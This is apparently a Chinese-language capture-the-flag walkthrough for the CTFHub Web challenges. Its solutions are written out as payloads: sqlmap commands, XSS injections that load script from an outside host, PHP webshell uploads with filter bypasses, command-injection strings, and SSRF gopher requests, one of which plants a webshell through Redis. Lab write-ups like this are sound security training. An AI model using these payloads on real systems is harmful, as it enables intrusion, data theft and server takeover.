CTFHUB技能树-Web通关攻略

📅 2026/8/12 20:43:08
CTFHUB技能树-Web通关攻略
目录HTTP协议请求方式320跳转Cookie基础认证相应包源代码信息泄露目录遍历PHPINFO备份文件下载网站源码bak文件vim缓存.DS_Storegit泄露logstashindexsvn泄露hg泄露弱口令默认口令整数型注入字符型注入报错注入布尔盲注时间注入:MySQL结构Cookie注入UA注入Refer注入过滤空格:XSS反射型存储型DOM反射DOM跳转过滤空格过滤关键词文件上传无验证前端验证MIME绕过文件头检测00截断双写绕过.htaccessRCEeval执行文件包含php://input远程包含读取源代码命令注入过滤cat过滤空格过滤目录分隔符过滤运算符 :综合练习SSRF内网访问伪协议读取文件端口扫描POST请求上传文件FastCGI协议:Redis协议url bypass数字ip bypass302跳转bypassDNS重绑定 bypass篇幅很长除了图片有一万字下回分小板块做笔记。先将就着看暂时给一种解题方法后续更新会把原理解题思路解题方法详细说一下HTTP协议请求方式出现这个界面用bp抓包复制提交320跳转用bp浏览器打开是这个界面用bp进行抓包的同时点击give me flag抓完之后把包发到repeater点击send 答案就出来了然后粘贴提交Cookie浏览器进入靶场发现没flag就试着抓一下包抓到的包中把0改成1改完之后放包得到flag基础认证下载题目附件进入靶场并抓包点击click随便输入用户名密码并抓包可以看到我输入的用户名和密码的base64编码进行添加爆破位置把下载的附件添加到payloads中添加admin添加base64编码转换取消URL转换放包然后找到200点击response得到答案相应包源代码打开靶场发现空白点击f12查看元素找到flag信息泄露目录遍历点进去后发现很多目录点进去找找就能找到flag文件点开后直接复制粘贴就完事PHPINFO点开界面我们能看到PHP界面往下找就对了找到FLAG备份文件下载网站源码打开发现这个界面直接用脚本爆破看到有这个文件下载开玩笑把文件名也复制上去找到flag爆破脚本分享import requests import time ​ #题目提供的常见文件名和后缀 ​ filenames [web, website, backup, back, www, wwwroot, temp] extensions [tar, tar.gz, zip, rar] ​ #伪装成正常浏览器避免被拦截 ​ headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 } ​ def scan_backup(base_url): 扫描目标网址下是否存在常见备份文件 base_url: 例如 http://challenge-xxx.sandbox.ctfhub.com:10800 found [] for name in filenames: for ext in extensions: path f/{name}.{ext} url base_url path try: resp requests.get(url, headersheaders, timeout5, allow_redirectsFalse) if resp.status_code 200: size len(resp.content) print(f[] 找到备份文件: {url} (大小: {size} 字节)) found.append(url) elif resp.status_code in [301, 302]: print(f[*] 重定向 {url} - {resp.headers.get(Location,未知)}) else: print(f[-] {resp.status_code} {path}) except Exception as e: print(f[!] 请求 {url} 失败: {e}) time.sleep(0.3) # 避免请求过快 return found ​ if __name__ __main__: ​ #替换成你每次开启题目后的真实地址 ​ target http://challenge-82a3fbdb25105ae16.sandbox.ctfhub.com:10800 print(f开始扫描 {target} ...) results scan_backup(target) if not results: print(\n未发现常规备份文件尝试扫描 /.git/HEAD 等版本控制泄露...) ​ #可以在此追加版本控制文件探测如 .git/HEAD ​ for extra in [.git/HEAD, .svn/entries, index.php.bak, index.php.swp]: url target / extra try: resp requests.get(url, headersheaders, timeout5) if resp.status_code 200: print(f[] 找到特殊文件: {url}) results.append(url) except Exception as e: print(f[!] {url} 失败: {e}) else: print(\n探测到的备份文件列表) for r in results: print(r)bak文件看到提示需要加index.php.bak下载打开vim缓存出现这个界面直接下载下载打开.DS_Store还是下载文件访问能在Linux和mac打开所以导到Linux中可以看到这个文件用浏览器打开出答案git泄露log直接用githack操作找到最后的文件git show找到flagstash跟上个步骤一样进入目录之后输入git stash listgit stash popindex跟上面步骤一样cd目录直接git showsvn泄露下载工具wget -O dvcs-ripper.zip https://sourceforge.net/projects/dvcs-ripper.mirror/files/latest/download解压并进入unzip dvcs-ripper.zip cd dvcs-ripper-master安装依赖库开始操作./rip-svn.pl -v -u http://你的题目网址/.svn/找到.svn进入.svn,找到wc.db看到flag尝试打开它发现打不开看pristine源代码文件副本有没有flag按照下面步骤找到flaghg泄露首先进入到工具中使用工具下载泄露文件发现报错可能是没有完整下载网站目录tree一下看看刚下载的网站目录查看一下可疑文件找一下有关键字flag的文件发现一个txt直接访问jiu弱口令随便输入用户名密码用bp拦截找好爆破位置开始爆破找到长度不同的便是需要的信息放包填入用户名密码默认口令发现是eyou邮件网关百度搜一下登入找到flag整数型注入启动sqlmap然后直接注入测试找到flag字符型注入用sqlmap都是一个步骤报错注入这里命令加一个--techniqueE这是只搞报错注入要不然sqlmap会非常慢python sqlmap.py -u http://challenge-c1b00e7a982e7416.sandbox.ctfhub.com:10800/?id1 --techniqueE --batch --dump布尔盲注python sqlmap.py -u http://challenge-48bd92a580b7fb16.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --dump时间注入:python sqlmap.py -u http://challenge-b43b2c671fd6ef83.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --dumpMySQL结构python sqlmap.py -u http://challenge-3e1bad0b0f42646c.sandbox.ctfhub.com:10800/?id1 --batch --dumpCookie注入python sqlmap.py -u http://challenge-1486a03c08d91c44.sandbox.ctfhub.com:10800/ --cookie id1 --level 2 --batch --dumpUA注入python sqlmap.py -u http://challenge-bc6dab312a6d0155.sandbox.ctfhub.com:10800/ --level 3 --batch --dumpRefer注入跑的慢死了推荐手工注入到时候更新会发python sqlmap.py -u http://challenge-17a30cbe6cfb28e4.sandbox.ctfhub.com:10800/ --level 3 --batch --dump过滤空格:python sqlmap.py -u http://challenge-a14dc59159e9ead7.sandbox.ctfhub.com:10800/?id1 --tamperspace2comment --level 3 --batch --dumpXSS反射型进入xss平台创建项目在创建的项目里找到这种代码回到靶场把复制的代码填进去下面代码做演示并不是真的点击提交之后把上面的url复制填到第二个框中出现成功标志代表恶意url替换成功返回xss平台查看记录找到flag存储型同上DOM反射右键 → 查看网页源代码或按 F12 看 Elements。 找到 JavaScript 中接收你输入参数如 ?text并动态写入页面的部分。 常见类似document.getElementById(xx).innerHTML 用户输入的内容;或$(#xx).html(用户输入的内容);假设原有代码是$(#text)[0].innerHTML 用户输入的内容;那么你可以构造;/scriptscript src//ujs.cx/7Gr/script或者;/scriptsCRiPt sRC//ujs.cx/7Gr/sCrIpT如果是在 HTML 属性内如 value用户输入则需要先闭合属性script src//ujs.cx/7Gr/script;/scriptscript src//ujs.cx/7Gr/scriptDOM跳转http://challenge-4a9b751e9d000ce8.sandbox.ctfhub.com:10800/?jumptojavascript:$.getScript(//ujs.cx/7Gr)在浏览框换成下面模式的代码用自己的别复制粘贴下图就是恶意url把url填进去得到flag过滤空格把空格给用/**/填充就行sCRiPt/**/sRC//ujs.cx/7Gr/sCrIpT过滤关键词混合大小写混淆sCRiPt 双写绕过scrscriptipt 未过滤标签与事件svg或 img srcx οnerrοralert(1)等sCRiPt sRC//ujs.cx/7Gr/sCrIpT文件上传无验证先看靶场环境是php编一个一句话木马php文件然后下载返回靶场上传文件可以看到上传文件路径把url和上传文件路径结合到一块用蚁剑查看是否上传成功在蚁剑里找到flag文件找到flag前端验证这个前端验证不能直接上传木马文件f12看源代码只能上传jpgphggif文件所以要把木马文件改一下用bp抓包再把jpg改成php放包上传用蚁剑测试连接找flag文件找到flagMIME绕过这个也不能直接上传木马文件需要抓包修改第17行的值改成image/png放包再上传用蚁剑测试连接找到flag文件头检测这个必须搞一个图片木马才能绕过截一个小图片把图片和木马结合到一块cat mm.png mm.php mm_shell.png继续进行上传抓包把png改成phpurl和路径结合蚁剑测试连接得到flag00截断导入mm.jpg修改放包上传可能不显示上传路径手动添加一下跟上面操作一样用蚁剑测试连接找到flag双写绕过上传php木马抓包把php改成pphphp放包用蚁剑测试连接成功找到flag.htaccess.htaccess文件用.htaccess为文件名FilesMatch \.jpg$ SetHandler application/x-httpd-php /FilesMatch先上传.htaccess文件再上传图片木马文件把url和上传路径给结合用·蚁剑验证得到flagRCEeval执行这个界面http://靶场地址/?cmdsystem(ls);http://靶场地址/?cmdsystem(ls /);http://靶场地址/?cmdsystem(cat /flag_17635);文件包含构造执行phpinfo()命令的Payload需要将POST参数设置为ctfhubphpinfo();用火狐浏览器的hackbar填入一下内容构造执行查看当前目录下文件命令ls)的Payload需要将POST参数设置为ctfhubsystem(ls);构造执行查看根目录下文件命令ls /的Payload需要将POST参数设置为ctfhubsystem(ls /);构造执行查看根目录下flag文件内容命令 (cat /flag)的Payload需要将POST参数设置为ctfhubsystem(cat /flag);得到flagphp://input若allow_url_include 为on则表示存在php://input用bp抓包把get改成POST /?filephp://input HTTP/1.1在后面加个shell?php system(ls /);?放包看到flag文件把shell改一下?php system(cat /flag_5564); ?重新抓包放包看到flag远程包含跟上个步骤相同查看是否符合条件继续用bp抓包放包改一下shell放包找到flag读取源代码题目中直接说flag in/flag所以直接使用 php://filter?filephp://filter/resource../../../flag得到flag命令注入输入127.0.0.1;ls找到php文件输入127.0.0.1; base64 134641327427936.php可以看到base64编码复制粘贴转换一下得到flag过滤cat找到flag文件输入127.0.0.1; base64 flag_195939023183.phpbase64解码得到flag过滤空格使用IFS$9、%09、、、、{,}、%20、${IFS}、${IFS}来代替空格127.0.0.1ls127.0.0.1;base64${IFS}flag_1780761902775.php输入127.0.0.1;base64${IFS}flag_1780761902775.php得到flag的base64编码转换一下过滤目录分隔符“过滤目录分隔符”是指在CTF的命令注入题目中开发者会编写正则表达式等检测逻辑专门检查并拦截用户输入参数里可能包含的路径分隔符例如Linux下的 / 或Windows下的 \ 防止我们通过 cat /flag_is_here/flag.php 这样的路径直接读取文件。探查当前目录127.0.0.1; ls发现 flag_is_here 目录。进入目录并列出文件127.0.0.1; cd flag_is_here; ls发现 flag_284421968220721.php。使用 base64 读取文件127.0.0.1; cd flag_is_here; base64 flag_284421968220721.php注意这里使用了 / 吗是的flag_is_here/flag... 中包含 /这会触发过滤。所以必须先 cd 进去再 base64 文件名不带路径。这是关键转换一下搞定过滤运算符 :在本关过滤掉了 | 127.0.0.1;ls找到flag文件127.0.0.1; base64 flag_14463118421062.php解码综合练习在本关过过滤了 | ; / cat flag ctfhub 和空格列出当前目录文件用 %0a 换行符代替 ;ls 本身无空格cat 用more 代替 空格用 代替 ;命令分隔符 用%0a代替在 IP 输入框中输入/?ip127.0.0.1%0alshttp://靶场地址/?ip127.0.0.1%0acd%09fla*_here%0alshttp://靶场地址/?ip127.0.0.1%0acd%09fla*_here%0abase64%09fla*.php进行解码SSRF内网访问直接构造urlhttp://127.0.0.1/flag.php伪协议读取文件我们要在Web目录里头找flag.php最常用的Web目录网址是 var/www/html/flag.php用file://协议来读取这个文件file:///var/www/html/flag.php端口扫描题目中提示flag在端口8000到9000中的一个然后打开bp的intruder模块进行扫描先手动输入个端口把get发送到intruder添加爆破点如下图所示进行配置进行爆破查看爆破长度长度不同就是flag所在端口http://challenge-34317304de9bb91d.sandbox.ctfhub.com:10800/?url127.0.0.1:8555浏览器访问端口找到flagPOST请求我们直接使用disrearch进行扫描可以看到flag文件访问替换为自己的靶场http://challenge-b7b8dd9356bb1ff8.sandbox.ctfhub.com:10800/?urlhttp://127.0.0.1/flag.phpf12找到key!-- Debug: keyac29ca0a9cdea94b3ec59d22c149fdcb--构造个原始post请求把key替换为自己的POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 ​ keyac29ca0a9cdea94b3ec59d22c149fdcb把上面的进行两次url编码构造攻击paloadhttp://challenge-b7b8dd9356bb1ff8.sandbox.ctfhub.com:10800/?urlgopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dac29ca0a9cdea94b3ec59d22c149fdcb浏览器访问得到flag上传文件在电脑桌面新建文本文件 upload.html内容如下替换 靶场地址!DOCTYPE html html body form actionhttp://challenge-081a20e06484f1c4.sandbox.ctfhub.com:10800/flag.php methodpost enctypemultipart/form-data input typefile namefile input typesubmit /form /body /html然后用bp抓包上传文件抓包把内容发送给decoder把没用的全删了只保留· POST /flag.php HTTP/1.1 · Host: → 改成 127.0.0.1删除端口 · Content-Type: 保持原样包含 boundary · Content-Length: 保持原来的数值因为文件内容没变 · 一个空行 · 请求体以 --boundary 开头和结束的全部内容 修改后应该类似这样具体 boundary 和长度以你抓到的为准POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 153 ​ ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plain ​ hello ------WebKitFormBoundary7MA4YWxkTrZu0gW--继续用url把这些两次编码在编码结果中将所有的 %0A 替换成 %0D%0A使用 Decoder 的查找替换或复制到记事本中替换后贴回。替换完成后再次点击 Encode as URL → 第二次编码。在第二次编码结果的最前面加上 gopher://127.0.0.1:80/_注意下划线 _ 后面直接跟编码内容不加空格。 得到类似gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520190%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D----WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250A%250D%250A------WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522hello.txt%2522%250D%250AContent-Type%253A%2520text%252Fplain%250D%250A%250D%250Ahello%250D%250A------WebKitFormBoundaryRiYZUcvOTFEgQ9gL--将上一步得到的 gopher://... 完整链接拼接到靶场地址后面http://challenge-081a20e06484f1c4.sandbox.ctfhub.com:10800/?url你的gopher链接http://challenge-3329fc8da94cfbf0.sandbox.ctfhub.com:10800/?urlgopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520190%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D----WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250A%250D%250A------WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522hello.txt%2522%250D%250AContent-Type%253A%2520text%252Fplain%250D%250A%250D%250Ahello%250D%250A------WebKitFormBoundaryRiYZUcvOTFEgQ9gL--进行浏览器访问得到fiagFastCGI协议:kali下载gopherus工具cd进去git clone https://github.com/tarunkant/Gopherus.gitcd Gopherus启动python2 gopherus.py --exploit fastcgi/var/www/html/index.php看到gopher复制进行两次url编码http://challenge-081a20e06484f1c4.sandbox.ctfhub.com:10800/?url这里粘贴编码的的gopher链接浏览器访问看到flag文件cat flag文件再搞一次搞好之后再用浏览器访问得到flagRedis协议http://challenge-e07d9c0849b981ed.sandbox.ctfhub.com:10800/?urlgopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%252Fvar%252Fwww%252Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A编码进行访问发现一直转圈不必管他直接访问这个看到flag文件http://challenge-e07d9c0849b981ed.sandbox.ctfhub.com:10800/shell.php?cmdls%20/访问flag文件得到flaghttp://challenge-e07d9c0849b981ed.sandbox.ctfhub.com:10800/shell.php?cmdcat%20/flag_7abf5f6dd36a9a1a3b95ab10e8aebadeurl bypass这道题是 SSRF URL Bypass要求传入的 URL 中必须包含 http://notfound.ctfhub.com但实际需要请求本地 127.0.0.1/flag.php。可以利用 URL 解析的差异绕过。http://你的靶场地址/?urlhttp://notfound.ctfhub.com127.0.0.1/flag.php例子http://challenge-6deae7421b238d3e.sandbox.ctfhub.com:10800/?urlhttp://notfound.ctfhub.com127.0.0.1/flag.php访问得到flag数字ip bypass这道题是 数字IP绕过要求访问 127.0.0.1 但不能使用点分十进制因为 127 和 172 被禁止。我们可以使用其他表示法例如· 十进制整数127.0.0.1 对应的整数是 2130706433。 · 十六进制0x7f000001 或 0x7F000001不区分大小写。 · 八进制0177.0.0.1但包含 0177其中 127 的八进制仍然可能被检测到点分形式最好避免点分。 · 混合进制例如 0x7f.0.0.1 等。我们用十进制http://你的靶场地址/?urlhttp://2130706433/flag.php例子访问得到flaghttp://challenge-cb28f47f2ece774f.sandbox.ctfhub.com:10800/?urlhttp://2130706433/flag.php302跳转bypass这道题的核心是利用 302 重定向 绕过 IP 检测。由于不能直接请求 127.0.0.1但可以提交一个外部 URL这个 URL 返回 302 并指向 http://127.0.0.1/flag.php服务器会跟随跳转从而访问内网资源。常见解法有以下几种任选一种可用的使用公共 302 跳转服务http://你的靶场地址/?urlhttp://httpbin.org/redirect-to?urlhttp%3A%2F%2F127.0.0.1%2Fflag.php这个不行使用本地域名http://你的靶场地址/?urlhttp://localhost/flag.php这个行使用通配符域名如 xip.io 或 nip.iohttp://你的靶场地址/?urlhttp://127.0.0.1.nip.io/flag.phpDNS重绑定 bypass这道题的解题思路是利用DNS解析和请求之间的“时间差”来绕过IP限制。核心原理是攻击者控制的域名在第一次解析时返回一个合法的外网IP以此通过服务器的IP检测而在服务器真正发起资源请求时第二次解析返回内网IP地址如127.0.0.1从而访问到本地的flag.php文件。查看过滤逻辑http://靶场地址/?urlfile:///var/www/html/flag.php http://靶场地址/?urlfile:///var/www/html/index.php你会看到index.php里大概有这样的代码会拦截对127.0.0.1、172.0.0.0/8、10.0.0.0/8、192.168.0.0/16等内网地址的访问所以我们需要绕过这个IP检测。获取一个DNS Rebinding域名 · 使用现成的在线平台是最快的方法。访问 https://lock.cmpxchg8b.com/rebinder.html。 · 在网站的第一个框中输入 127.0.0.1第二个框中输入一个任意公网IP如 1.1.1.1点击 Generate 生成。 · 它会生成一串类似 7f000001.1d1db2d9.rbndr.us 的二级域名。这个域名就会配合时间差轮询返回你设置的两个IP。 · 很多WriteUp也提到可以直接使用域名 10.212.30.215你可以直接试试这个看行不行。发送最终Payload生成后直接在浏览器或Burp中访问这个地址http://靶场地址/?urlhttp://7f000001.1d1db2d9.rbndr.us/flag.php例子http://challenge-b8fa944e10e65493.sandbox.ctfhub.com:10800/?urlhttp://7f000001.7f000002.rbndr.us/flag.php访问得到flag